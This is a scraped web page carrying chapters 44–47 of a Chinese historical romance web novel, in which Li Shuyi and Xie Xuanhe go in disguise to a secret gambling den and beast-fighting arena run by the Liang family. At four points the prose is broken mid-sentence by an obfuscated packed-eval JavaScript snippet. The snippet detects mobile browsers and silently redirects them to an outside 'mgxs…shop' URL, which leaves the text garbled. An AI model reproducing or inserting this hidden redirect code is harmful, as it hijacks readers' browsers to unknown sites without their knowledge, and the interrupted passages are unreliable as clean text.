“是。”谢烜赫点头。 答得倒是坦荡,回想起进屋前的那一幕,她继续追问:“在我到之前,你们似乎已经谈了许久,是不是想瞒着我?” 不答话,这显然是默认了,她不高兴地轻哼一声道:“瞒得住吗?” “所以不是又叫你来了。” “叫了,也不能代表之前的事没发生过。”她不领情,说完快步走下台阶。 谢烜赫赶忙跟上。 午间,黎书意独坐书房,勾头沉思着要如何对付他们的敌人。 将画稿推在一边,她抽过一张白纸,拿起笔开始列关系图,先以梁甫为中心,再到他的妻妾子女们,最后是梁党,她洋洋洒洒写了一页纸。 写完,她盯着名单,想着该以何人为突破口呢? 梁党首先被排除,这些朝廷官员她日常压根接触不到,这个由父兄做更为合适。 其次是妻妾,梁甫发妻郑氏只有在大宴上才能得见,因两家是宿敌,所以每逢遇见她们也就说点场面话,贸然接触恐引起猜疑。 妾室的话,她们没人生自由,平时甚少出门,很难有接触的渠道。 最后是子女,梁甫虽府里妻妾成群,但子嗣并不多,一共就五个,二男三女。 嫡长子梁祖庭黎书意直接略过,这人表面对谁都和气一团,实则心思深沉,况且他人此刻并不在孟章。 接着,三个女孩也被她划去,长女前两年进宫了,接触不到,剩下的两个还不足十岁,不通人事。 当目光落到梁祖昂的名字时,她停住了,不着边际的纨绔子弟,心思都在吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545703|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝嫖赌上,怎么看他都是最好下手的。 刚这般想着,脑袋里忽然又闪现出那日他在鹤阳阁露出的异状,于是心下便更确定就是他了。 只是虽然他们认识,但是交集实在不多,好在他整日在外游荡,留下的踪迹很多,差人调查就是。 搁下笔,黎书意的神色明朗起来。 次日,用了午饭,她便行动起来,吩咐兰亭去备马车。 “二姑娘要去哪?” “我想去看看阮玎瑶。” 对于她的回答,兰亭不疑有他,立刻出房门去准备了。 待兰亭走了,谢烜赫朝她看来,问:“你是想从梁祖昂身上下手?” 他能猜出来并不难,毕竟阮玎瑶与她只是点头之交,况且前几日才见过,今日实没必要特别拜访,于是她坦然承认了。 差人调查是需要时间的,既然眼前有更好的渠道,她还是想试试能不能问出些什么。 谢烜赫没再多问,只说:“一会我需要去印刷铺一趟。” “嗯。”她点头,仇人已经确定了,他心里肯定比她还要急。 两人聊完没一会,兰亭折回院中,通知说马车已经备好了,黎书意稍微做了番准备,然后便出门了。 路上,她一直在想该怎么不露痕迹地向阮玎瑶打听情况,由于想得太入神,不知不觉间鹤阳阁便到了。 撑着谢烜赫的胳膊从马凳上下来,为给这人的离开找一个合适的理由,她做起表面功夫,边撤回手边命令道:“你替我买一些纸张去。” 谢烜赫点头称是,然后转身离开。 看着他走了,黎书意方领着兰亭往东角门走去。 走入大厅,见台上歌舞升平,台下客人如云,前几天的闹剧并未影响到这里一丝一毫。 正看着,伙计笑迎上来招呼她,往楼上雅间去的路上,黎书意问他阮玎瑶是否在阁中,伙计答说在,她便让伙计替她传话,说想见阮姑娘一面。 进入雅间,她在桌边坐下,然后便安静地等待着,不一会门开了,阮玎瑶来了。 “见过黎二姑娘。”阮玎瑶笑着问候,旋即在对面坐下来。 黎书意抬眼看过去,见眼前的人双目明亮,面白唇红,脸上的郁色一扫而空,便道:“你看上去还不错。” “是。”阮玎瑶笑了,“以前总把那当做天大的事看,经历了才发现根本就不算什么。” “梁祖昂没来找你了吧?”她问。 阮玎瑶摇头,“没有。” “没有就好。” 这句话说完,房间里安静下来。 黎书意瞟一眼面前柔软可亲的人,来时她想得好好的,可如今真见着了,却不知该如何开口了。 之前帮助阮玎瑶,不过是举手之劳,没想过要回报,哪知突然发现她竟然与他们所谋之事有联系,现在便依靠这点微末的善意,带着目的接近,黎书意心里头有愧。 斗争良久,对真相的渴望到底战胜了对阮玎瑶的抱歉,她试探着开口问道:“我看那日他离开时的状态有点奇怪,身体抽动不止,像是突发羊角风一样,他身上可是有何疾病?” “不是羊角风,是药物。”阮玎瑶答说。 45. 密地 “药物?”这两个字让黎书意的眼睛一亮。 “我不知道那东西具体是什么,但好像是有瘾的。” 有瘾,她心中希望的火苗变大,忙追问:“他是如何沾染上的?” 阮玎瑶并没有马上回答,而是看了她一眼,显是在迟疑。 这时,她方才意识到自己太过急切了,表现得很不正常,不由面上发烫,静默不语了。 少女的惊慌和愧疚落入阮玎瑶眼中,阮玎瑶本以为黎二姑娘今天是特意来看自己的,但是谈话却与梁祖昂有关,还越来越偏,她自然意识到了什么。 整个西景都知道,梁丞相与黎大将军不合,她大约是想通过自己了解什么吧。 意图被看穿,黎书意不好再待下去,不过从刚才的谈话中,她还是获得了有用的信息,这就已经足够了。 “差不多一年前,他曾带我去过一个地方,我在那里见过那种药丸。” 正准备道歉告辞,对面的女子在静默许久之后忽然开口了。 黎书意没有先关心信息,而是凝视着阮玎瑶的眼睛,一脸正色道:“你知道你告诉我这些,你可能会面临危险吗?” 在梁府待了一年,阮玎瑶见识了不少丑恶,只是她无权无势,连自己都尚且救不了,还谈什么其他,所以即便看见了,也什么都没做,眼下既然有人可以办到,那么她就不该再隐瞒。 她抬眼,望着比自己小两岁的少女,一脸真诚地说:“我知道,黎大将军外御强敌,内平叛乱,是西景的肱骨大臣,能帮到他,能造福百姓,我愿意的。” “谢谢。”既然已经达成了共识,黎书意遂拾起搁置的话题,挑重点说,“你刚才说他曾带你去了一个地方,是什么地方?” 阮玎瑶摇头,“我也不知那是何地,我当时是蒙眼进去的。” “蒙眼?”什么地方需要蒙眼,当然是不想让人知道的地方,黎书意追问,“里面是怎么样的?” “里面是一个巨大的赌坊,赌坊里所有人都戴着面具。” 赌坊吗?从前她因好奇,曾央兄长带她去过一回孟章最大的赌坊,朋兴赌坊,那里头鱼龙混杂,闹闹哄哄的,不是什么好地方。 只是赌坊的话不至于去时需要蒙眼,恐怕还有其他秘密,便又问:“所以你曾在那里见过那种药丸?” 阮玎瑶点头。 “还有其他的吗?” 阮玎瑶顿了顿,接着说:“赌坊下面还有斗兽场,人与兽斗的那种,我曾看见里面的人喂那些奴隶吃过那种药,吃完药以后他们的状态很亢奋,就跟野兽一样。” 黎书意闻之悚然。之后,她又问了些其他的,阮玎瑶将自己所知全部告知与她,她越听到后面心越惊,茶水渐凉,她却顾不上喝一口。 待了解够了,她郑重地向阮玎瑶道了谢,然后便退出了房间,在过道她碰见了赵清商,两人互相点头问好。 下楼的每一步黎书意都走得很沉重,揣着刚刚知晓的惊天秘密,她沉默地离开鹤阳阁,最后坐回到马车上。 心里如同激荡的潮水一样不平静,她既有收获意外之喜的激动,又有窥破秘密的压力与担忧。 “这个时野,不过是去买个纸,怎的这么慢。” 兰亭的抱怨拽回了她的神思,她掀帘朝外看去,也不知谢烜赫那边可得了什么消息。 候了盏茶的功夫,外头传来动静,谢烜赫的声音清晰入耳:“二姑娘可归了?” 隔着帘子,黎书意回道:“我在。” 接着便听见上马车发出的吱呀声,不多时马车摇摇晃晃动了起来。 胸口像是有蚂蚁在爬,黎书意着急心切,只嫌车速太慢,她好想快些到家,快些找个安静的地方,然后把所得到的情报通通告诉谢烜赫。 如此煎熬了半个时辰,摇晃的马车终于停了下来,车帘被拉开,露出谢烜赫的身影。 黎书意急忙起身下车,踏下马凳的时候忍不住多看了他一眼。 或许是因为心里头都装着事,这一路上他们都没怎么说话。 到了载驰院,黎书意径直往小书房走,边向前走边吩咐道:“时野,你来替我给画上色,兰亭,你去泡一壶茶,再端些点心过来。” 走至书房门口,她推门而入。 谢烜赫跟在她身后进来,合上门,他走到她跟前,笃定地望着她说:“你有话要说。” 忍了一路,她早已忍不住,确定四下无人,她望着眼前的人道:“我从阮玎瑶那里得知,梁祖昂从一年前便开始服用一种致瘾的药物,一旦发作便会像那天那般,浑身震颤,不受控制。” 言未尽,听见谢烜赫说:“那是逍遥丹。” “你知道?”因为过于惊讶,她的声音不由走调了。 谢烜赫颔首,“这半年探查时无意了解到的。” 这样啊,她继续将其他有用的消息告知与他:“阮玎瑶说那药来自于一个神秘的地方,去那里需要蒙眼,还说那里经营有地下赌场和斗兽场。” “是忘忧楼。” “这地方你也知道?”她蓦地抬眸,再次惊了。 只见谢烜赫点头,回说:“刚知道的,根据逍遥丹查到的。” 黎书意一直为自己的意外收获而激动非常,没想到谢烜赫竟然与她调查到了同样的消息,并且他了解的远比她的要详细,想到最大的那个秘密,她没精打采道:“那你一定也知道那是梁家的产业了?” “什么?”说毕,见谢烜赫震惊地看着她。 “你不知道?”她不确信地问。 谢烜赫摇头。 看他是真不知道,黎书意连忙解释起来:“阮玎瑶说,梁祖昂有次心血来潮带她去了那地方,然后还洋洋得意地说了一句这是他家的产业……” “哼!”谢烜赫从鼻子里发出轻嗤,这么秘密的事情居然因为想在女子面前显示自己就轻易说了出来,不过确实是梁祖昂这个草包会做的事。 正想着,听见少女说:“那里一定藏着巨大的秘密。” 他低头沉吟,半晌做了决定道:“明晚我亲自去探一探。” “能带上我吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545704|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>话音方落,见少女仰头望来,那双明眸如一弘秋水,让人观之心软,他却沉默了,那地方暗藏危险,他怎舍得让她去。 踟躇间,少女忽走近他一步,追加道:“你需要一个夫人。” “夫人?”他怔住。 少女点头,旋即解释起来:“你去那里定然是要乔装打扮的,带上妻子更能降低警惕性,况且万一我能帮忙呢。” 说完,定定注视着他。 看她极力自荐,谢烜赫发现自己根本无法拒绝。 …… 书房,黎书意将方才画好的画稿放远了些,认真地端详起来。 正看着,兰亭走进来问:“二姑娘,晚上大将军和少将军都不在家,您想吃什么?” 闻言,黎书意侧头朝窗外看去,见碧空澄澈,日高三丈,收回目光她回说:“不必准备了,我一会要出去。” 已经快到约定的时辰了,归置好桌上物品,她起身离开了书案,跨步走出书房门时见谢烜赫正信步走来,她即刻迎上前去。 身后,兰亭追跟上来,见她一副准备一同前去的模样,黎书意便道:“今天你不用去,有他跟着我就行了。” 她这一去是要去忘忧楼探查的,肯定不能带着兰亭。 “他!”兰亭指着谢烜赫,表情又惊讶又气愤。 黎书意明白她一直觉得谢烜赫刮分了她的宠爱,可是没办法,这些事她不想让这个单纯的小丫头参与其中。 “哦,对了,若别人来问,你就说我在书房看书,不想被人打扰。” 听见这话,兰亭将到嘴的请求往回吞下去,她意识到二姑娘是有重要的事要去做,并且需得掩人耳目,这事时侍卫显然比她更适合。 可是,到底心有不甘,近来这种被抛弃的感觉越发强烈,她忍不住惋惜从前,自己当初怎么也该和展元学上个一招半式的,这样二姑娘便会带上她了。 交代完兰亭,黎书意和谢烜赫便离开了载驰院,为避人耳目,他们没有往正门走,而是走的后门。 后街巷尾停着一辆普通的马车,车辕上坐着一寻常的中年男子,两人快步上前,然后登上马车。 拉开帘子,黎书意见车厢右侧坐着一个面容清秀的青年男子,看他年纪大约二十岁上下,应当是谢烜赫的手下。 瞧见她,男子垂首问候:“见过黎二姑娘。” “他叫纯钧,祈安阁北区的堂主。”正在诧异,身后传来谢烜赫的解释。 向纯钧点头致意过,黎书意踏进车厢,在软垫上坐下,接着谢烜赫在她旁边落了座。 “这是入场帖。”两人刚一坐下,纯钧递过来两张金色纸笺,并说道,“根据忘忧楼的规矩,想入楼的人得先去安德坊的一所老宅,在那里蒙上眼睛乘坐专轿,然后由轿夫抬着入楼。” 黎书意听后不禁感慨,为了不让人发现忘忧楼的确切位置,还真是煞费苦心。 半个时辰后,车子在西陵轩的后门停下,两人从车上下来,然后直接进了祖绣宣的私宅,在去忘忧楼前,他们得先乔装一番。 46. 入楼 西陵轩后堂,祖绣宣求证般询问黎书意:“你当真要去?” 黎书意毫不迟疑地点头,既然知道有这样一个地方,她又有机会可以接触,她怎可错过,这第一手的资料她不想放弃。 “好吧。”看她坚持,祖绣宣没再多说什么。 就像曾经为她定制华美衣裳时那样,祖绣宣先后退一步,支着下颌审视地看着她和谢烜赫。 未几,祖绣萱指着谢烜赫说道:“他目前便是以异族少年的身份生活,为了提高不被认出的几率,我认为你们还是扮做丹宵的商人好了。” 对此,黎书意没有异议,谢烜赫也一副听之任之的态度。 敲定好乔装方向,祖绣宣离开了房间,再回来时她手上多了两套衣服,一套递与她,一套递与谢烜赫。 拿到衣服,两人各自去隔间更换。黎书意还从未穿过丹宵的服饰,便拿在手上先研究了一会,她这一身共两件,一件墨绿色对襟衫,一件红绿间色齐胸襦裙,衫裙皆绣着并蒂莲,衣料华贵,看过之后她脱衣换上。 等她出来时谢烜赫已经换好了,他身穿一件墨绿色团花圆领袍,腰系古金色瑞兽纹腰带,长身鹤立,贵气且清冷。 再见之后,除了头天那身繁复的异族打扮,和潜入社郡时那身略显朴素的游侠衣着,平日里他穿的都是将军府的侍卫武服,虽然仍旧好看,但到底简单且沉闷,眼前的这身锦袍让她看到了曾经的那个天之骄子。 “好了,来上妆吧。”祖绣宣说着将黎书意拉到镜台前坐下,然后亲自动手替她梳发,敷粉、描眉、涂口脂…… 不多时,一个头绾交心髻,柳眉白面,桃腮红润,额点莲花钿的女子跃然眼前,尽管色泽较她平日的要浓艳些,但是很配身上的衣服。 接下来便轮到谢烜赫了,因为昭王世子在明面上是叛臣之子,且已经坠崖而亡了,所以他的这张脸是绝对不能在毫无修饰的情况下现于人前。 黎书意站在一旁观望,好奇谢烜赫是如何变装的,只见他脱下脸上银面,掏出随身携带的木匣,从里面拿出一张人皮面具。 虽然依据伪装时野的那块假伤疤,她便猜到会这么做,可是亲眼见证整个过程还是觉得惊讶,眼见着那菲薄的肉色胶皮面具帖到了人脸上,慢慢合二为一,她直呼神奇。 不过,这张清俊的新面庞目前仍有瑕疵,比如边缘地方还不够服帖,为此,祖绣宣帮忙用铅粉替假面做了一番修饰。 “好了。”变装完成,祖绣宣放下毛刷,满意地看着自己的成果。 黎书意好奇地凑近了看,如不认真观察,根本无法发现。 等她看完,谢烜赫从椅子上起身。 时间紧迫,彼此便没多说客套话,祖绣萱将面巾递给黎书意,然后嘱咐道:“一切小心。” 道了别,他们从西陵轩出来,重新登上了马车。 马蹄嘚嘚,车轮辘辘,待车子动起来,纯钧开口:“到老宅还需一个时辰,主子和黎二姑娘可先用些点心,垫垫肚子。” 车内小几上摆着茶壶、水果与点心,谢烜赫和黎书意听言,各自从碟子中拿起一块糕点吃起来。 一个时辰后,马车停下,黎书意在谢烜赫的搀扶下踏在地面上,面前是一所普通的宅院。 此时已经日近黄昏,他们推开厚重的木门步入院落,院子里空荡荡的,除了萧疏的草木,一个人也没有。 来至正厅,里面不见桌椅板凳等寻常之物,倒是摆着两排轿子,轿帘全部挂起,轿中软垫上皆放着黑色长丝绦。 环顾完了,两人话不多说,直接登上了近边的一架空轿。 轿子的空间并不大,两人同座稍显拥挤,不得已身贴着身,他们按照规矩带上丝绦。 丝绦是双层的,一点不透光,触感冰凉,即便睁着眼,黎书意眼前仍旧是一片黑暗。 因着场合特殊,她没敢说话,所以轿子里格外安静。 候了盏茶的功夫,她听见了一串脚步声靠近,有人来至轿子跟前,接着帘子被轻轻放下,乘坐的轿子被抬起来了。 行进的过程也很安静,耳边只有轿子晃动的“咿咿呀呀”声,和四位轿夫走路的脚步声,他们并不聊天。 由于失去了眼睛做支撑,单靠着耳朵她根本无法辨认方向,大约过了半个时辰,轿子“咔哒”一声落地了。 紧接着,一个粗犷的男声说话了:“两位客人可以摘下眼带了。” 说着,掀开帘子递进两个面具来。 等轿子里重归寂静,在确定不会被人看见自己面容的情况下,黎书意依次扯掉了眼带和面巾,戴上了为她准备的猫头面具,然后便随谢烜赫掀帘下轿了。 下轿后,她环视所在之地,这是一间宽敞的前厅,厅中有二十来架轿子,与之前的那座院落一样,简直一览无遗,没什么特别之处。 抬轿子的人也戴着面具,他将手一划道:“二位贵客请!” 顺着他手指的方向向前看去,一条长长的过道映入眼帘,两旁烛火摇曳。 与谢烜赫对望了一眼,他们迈步往过道走去,下台阶朝左拐了个弯,又走了三十来步,眼前出现一扇门,他们进门下楼。 “大大大!” “小小小!” “再来一局!” 喧嚣声如潮水灌进耳朵,入眼的是金碧辉煌的大殿,以及形形色色的男女,这桌在掷骰子,那里在玩牌九,更远处在打麻将,简直不要太热闹,她从来不知道孟章还有这样的地方。 “两位想玩什么?”身穿褐衣的伙计走了过来。 谢烜赫朝她看过来,“你想玩什么?” 嗯……黎书意沉吟着,骰子、牌九曾经为了消磨时光她玩过不少,但她看着那些激动的人,现下没有玩的兴致。 最后,她把目光定格在不远处一个木制装置上,“不如那个?” “好。”谢烜赫点头应了。 于是,他们便往那里走去。 到了近前,见木柜用板子分成大小相等的五个槽,每个槽里都放有一只蜗牛,它们正在缓慢爬行,旁边围了一圈人,大家拼命呐喊着。 他们到时,本场赌局的最后一只蜗牛也抵达终点了,有人欢呼,有人叹息,一批人离开,一批人涌入。 指了指那些蜗牛,黎书意问:“挑哪只?” “夫人想挑哪只便哪只。” 夫人?黎书意闻言身体一顿,半晌才反应过来,对哦,他们是以夫妻身份来这的。 瞥了眼身旁的人,本来还担心他扮演得不像,没想到还挺入戏。 既然选择权交给她了,她便也不客气,一番比较之后她挑了一只个头中等,软体是白色的,壳子像玛瑙一样的蜗牛。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545705|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 新一局赌局就此开始,叫喊声再次响起,这边叫一号,那边喊二号,虽说来这不是为了赌博,但赢钱总比输钱好,受气氛感染,黎书意想着反正没人认识,便也为自己的小蜗牛加油打气。 “五号!五号!” 少女唇红齿白,笑颜如红莲绽放,看着身边激动叫喊的黎书意,谢烜赫露出了温柔的笑容。 木柜只有两手摊开那么长,蜗牛却走了许久,最后是黎书意挑选的蜗牛第一个抵达终点。 见自己居然赢了,她控制不住地欢呼起来,然后面对谢烜赫,分享她的喜悦。 食指轻弹了一下刚刚到手的银票,她嘴角控制不住地上扬。 为了表现得像一对来这里寻欢作乐的异国商人夫妻,他们接着又去了别的地方。 于是,摇骰子、叶子牌、推牌九……每一个赌博游戏他们都掺合了一把,由于这里没有更漏,两人无从得知具体时辰。 将赌场的情况了解完,谢烜赫询问里头的管事:“这里有没有更刺激的消遣?” 管事扫了一眼他们身上的衣服,嘴角翘得老高,谄媚笑道:“有,我这就带二位贵客去。” 在他的带领下,两人穿过赌场大厅走进一条过道,过道的尽头又是两条长窄过道,左手边的那条,一个仆从正推着木车走来。 管事引着他们向右行,只见过道的尽头是一座石门,狼头门扉,獠牙为柱,阔口即门洞,门楣上写着“斗兽场”三字,威风凛凛。 到了门口,谢烜赫抽了一张银票递给管事,管事拿到钱,笑得合不拢嘴,殷勤道:“祝二位玩得愉快。” 待他离开,黎书意与谢烜赫对视一眼,然后一同跨步入门,像是从深夜走入黎明,里面明亮如昼。 只见敞亮的厅堂一分为二,一边是看台,看台两边墙壁上有无数深浅不一的爪痕,地面坑坑洼洼,布满深褐色泥污。 一边是坐席,成排的黄花梨椅,每个座上都铺上织锦软垫,极尽奢侈。 此时看台上还空荡荡的,而坐席上却坐了七八成,黎书意粗略地看了下,估计约有百来名观者,他们每一个都戴了面具。 环顾了一圈,她和谢烜赫在最后一排坐席的中间位置坐下,这里方便纵观全场。 坐下之后,她便静静地注视着看台,不多时,见一个黑衣男子从左边通道走出来,他手里牵着一根铁链,铁链的另一端是一个瘦弱的男孩,他头发蓬乱,脸上脏污,衣裳褴褛。 接着,右边通道的铁栏“咔嚓”一声被打开,一头壮硕的灰狼慢慢走出来,它一双绿眼迸射出凶光,紧盯着对面的猎物。 虽然从未看过斗兽比赛,但是黎书意曾在猎场见过两兽相争的情况,它们猛冲直撞,你追我躲,动作之快使人眼花缭乱,期间嘶吼不断,激起阵阵尘土,观之骇然,更遑论眼下可是人与兽相搏呢。 看着距离逐渐缩短的一人一兽,她神经绷紧,一颗心揪紧,明明来时已经做足了心里准备,然而真看见了她还是做不到无动于衷。 “嗷嗷——”恶狼发出嘶吼,俨然打算对猎物下手了。 那名奴隶似乎不是第一次面临这种场合了,就像那头恶狼一样,他始终目不转睛地盯着对方。 场上寂静一片,所有人都屏住了呼吸,黎书意压根不敢喘气,生怕自己轻微的动作会惊动到台上。 47. 暗探 “嗷嗷——”随着更高亢的一声怒吼,恶狼行动了,它朝男孩猛扑过去,一跃便是六七尺,黎书意忍不住紧咬着下唇,手也无意识地捏紧衣角。 好在男孩虽然看上去干瘦,但是行动却迅捷如豹,在恶狼跳出的瞬间,他便往左闪身,成功避开了第一击。 见扑了个空,恶狼不似先前那般小心试探了,它紧追不舍,男孩时而后退时而向左右移动。 每当狼一靠近,黎书意的心便一跳,揪着衣服的手跟着一紧。 一次次进攻,然后一次次被逃开,恶狼失去了耐心,发出可怖的怒吼。 而那个可怜的男孩,因为闪避花了太多力气,他正张着嘴大口大口喘着粗气,见此情景,黎书意的心开始下沉,有些不敢再看。 谢烜赫发现自己的衣角不时被扯动,低头一看,发现是黎书意的手,那白净纤长的五指揪紧了衣料,再抬眼看少女的脸,见她表情凝重,两眉愁锁,双目饱含着担忧与悲悯。 “不能看便闭眼吧。” “我可以。”黎书意强装镇定道。 “哐当!”就在这时,一把短刀扔到了男孩脚边,男孩捡起刀来,他两脚分开,双膝微屈,做好防守。 黎书意在心底为他鼓气。 此刻,恶狼那最后一点耐心也耗尽了,它嚎叫着扑到男孩身上,亮出锋锐的爪子,对着身下的人便是一通扑挠撕咬,一人一兽扭打在一起。 因被压制住,男孩无法起身,只能费力地躲避,反应渐慢。又一次,灰狼张着血盆大口,露出尖利的獠牙,对着男孩的咽喉而来。 “啊!”黎书意发出一声尖叫,条件反射地闭紧了眼,本能地转身扑进谢烜赫怀里,双手揪住他的衣领,眼睛闭得紧紧的。 胸口是少女喘息时发出的热气,鼻间是少女发丝上的茉莉花香,谢烜赫对黎书意的突然靠近毫无准备,顿时僵住了。 滞了一两息,他终于低下头,只见少女双眼紧闭,长睫颤动,他抬起左手轻抚着少女的肩头,柔声安抚道:“别怕。” 说着,他的视线回到台上,看见男孩持刀挡在身前,恶狼咬到的是刀,而非男孩的咽喉。 趁此时机,男孩脱离压制,待恶狼松嘴,他一边闪避一边攻击,那短刀化出一道流光,刺进了恶狼的胸腹,又一连刺了十几下。 恶狼慢慢停止扑腾,全场爆发出欢呼。 “啊啊啊!” 听见欢呼,黎书意知道这场人兽之斗终于结束了,但是她依旧不敢睁开眼睛,只因为她不确定这欢呼到底是给谁的。 是狼,还是那男孩? “他赢了。” 直到听见谢烜赫的话,她才缓缓睁开眼,仰起头,不确信地问:“真的?” “真的。”谢烜赫肯定地点头。 于是,黎书意咽了一口唾沫,慢悠悠地转了头。 只见台上,那头恶狼已经颓然倒地,灰色皮毛间裸露着许多狰狞的伤口,腹部还插着一把刀。 而男孩呢,他佝偻着身子站在一步之隔的地方,正拼命地喘着粗气。 确认是男孩胜了,黎书意舒了口气,整个人松懈下来。 可当她看到男孩身上触目惊心的伤口,以及那抖如筛糠的双腿,她的心情又恢复沉郁,同情与悲哀笼罩着她,这一是场赢了,那下一场呢…… 生活在这样的环境里,根本不知明天与死亡哪个先到来,人生简直一片黑暗。 黎书意再扫一眼观众席,虽然因为戴着面具无法看见这些看客的完整表情,可是从那大张着的嘴和哈哈的大笑声,便知他们乐在其中,像是欣赏了一场精彩绝伦的比赛。 这些人身着华美衣袍,带着无价首饰,说不定其中有些是世族勋贵,有些是朝廷重臣,明明该是德行标杆的,却以人兽之斗下注取乐,把人命当做草芥,竟然可以笑得如此坦然,真真是衣冠禽兽。 忽然,她又想到了梁甫,他堂堂一朝宰相,不以黎民百姓为首也就罢了,竟然还用如此恶毒的敛财手段,剥削底层民众,简直心如蛇蝎,何其毒也,可恨到了极点。 谢烜赫早注意到黎书意情绪低落,对于她这样一个被呵护着长大的人来说,眼前发生的事对她冲击有多大不言而喻。 “时间不早了,我们先去休息吧。” 黎书意微微点头。 忘忧楼不仅有赌坊,有斗兽场,为了让顾客得到充分的享受,这里还有杂货铺、戏院、客栈……总之,满足顾客食宿娱乐的需求。 从入楼到现在,先参与赌局,再观看斗兽,黎书意早就身心俱疲,离开了斗兽场,他们在楼中侍从的指引下往楼下去了。 到了地下一层,见面前共有三个入口,一入口写着客栈,一入口写着杂货铺,一入口写着戏院。 他们往左拐来至客栈大堂,里头雕梁绣柱,金碧荧煌,气派非常。 “两位是要一间吗?”柜台处,掌柜问道。 闻言,黎书意愣了,下意识望向谢烜赫。 先前,她的心思都集中在观察这个新地方上,竟是忘了他们在扮演夫妻,眼下经由掌柜提起,才恍然意识到这个问题,一缕耻意透上心来,不由面颊发烫。 谢烜赫也在看她,观他眼神凝住,耳尖微红,显然也是有些尴尬。 视线在他身上短暂地停留一瞬,黎书意迅速移开,他们可是以夫妻名义来的,自然得住一间房,若是露出破绽,招致猜疑便不好了,于是故作镇定道:“一间。” 掌柜收钱开房,然后唤来一个伙计,引他们入客房。 一路上,黎书意都不自在。 门打开,伙计殷勤道:“两位客官,您们看这房间还满意不?要是有啥需要,可随时叫小的,小的一定给您办得妥妥当当。” 闻言,她心不在焉地一点头。 “那两位客官先歇着,小的这就去给您们准备热水和茶点。”伙计笑容依旧,说完退了出去。 门关上,房内瞬间便没有了声音,空气中弥漫着一种尴尬的味道,黎书意没经历过这种局面,一时间不知该如何应对,根本不敢看谢烜赫。 然而,她不想表现得太过在意,便兀自在房间里东张西望,这里看看那里瞧瞧,像个没见过世面的人。 客房承袭前厅的风格,装饰繁复,床榻桌椅无不用料昂贵,精雕细刻。 不多时,门外响起敲门声,谢烜赫打开门,见是伙计端来了饭菜。 来时黎书意只在马车上用过一些点心,此时早饿了,待送餐的小厮离开了,两人面对面坐下。 吃饭在一定程度上缓解了同处一室的尴尬,好在这地方的饭菜味道不错,她便专心埋头吃饭。 到底不好一直沉默下去,她随便寻了个话头,感叹道:“玩法多样的赌博游戏,惊险刺激的斗兽比赛,奢华富 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545706|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丽的客房,还有精致美味的饭食,这地方还真不愧对它的名字。” 谢烜赫接话:“这样才能让客人流连忘返。” 饭快吃完时,谢烜赫道:“一会你待在房间里,除了我以外,谁来都不要开门。” “好。”黎书意没有异议。 他们此行的目的,一是为了了解这个隐匿的销金窟,二是从这里探查出有用情报,如今第一件事已经完成了,这第二件却还没有。 她也想亲自去揭露更多的丑恶,但是她知道分寸,探查必须小心行事,因为一旦被发现了,他们恐怕就离不开这个地方了,她不似谢烜赫能飞檐走壁,根本避不开楼中耳目,去了便是添乱。 坐在房里略休息了一会儿,谢烜赫准备行动,黎书意起身送他到门口,临行前嘱咐道:“万事小心。” 谢烜赫点头。 直到看着他的背影消失在走廊的尽头,黎书意才转身回房,将门合上,她重又坐到桌边,谢烜赫在外铤而走险,她怎可安然入睡,她定是要等他的。 …… 过道里幽静无人,两壁烛台上烛火晃动,谢烜赫信步走着。 自踏入忘忧楼,在参与赌局和观看斗兽的过程中,他便一直留心观察楼内的布局和运作。 前往斗兽场的途中,他迎面撞见一个奴仆推着木车走过,那木车上面摆着为客人备的酒水,他决定去那里看看。 于是他重回到一楼,左右看了看,确定四下无人,他拐弯进了那条昏暗的过道,穿过曲折的长道,无数房间出现在视野里面。 正看着,忽听见脚步声,他连忙贴墙隐蔽自己,未几,见一个侍奉茶水的奴仆从眼前走过。 他当即将人敲晕了,然后拖进房间,开始解他身上的衣服,在这个地方走动,穿仆从的衣服显然要比他身上的这身锦绣华袍要合适。 换了衣服,他将原先穿的锦袍装好,然后退出房间继续前行,越往里走他发现守卫越森严,有一间房门前竟是有四名守卫,察觉到异常,他双眼微眯,想那里一定藏着什么。 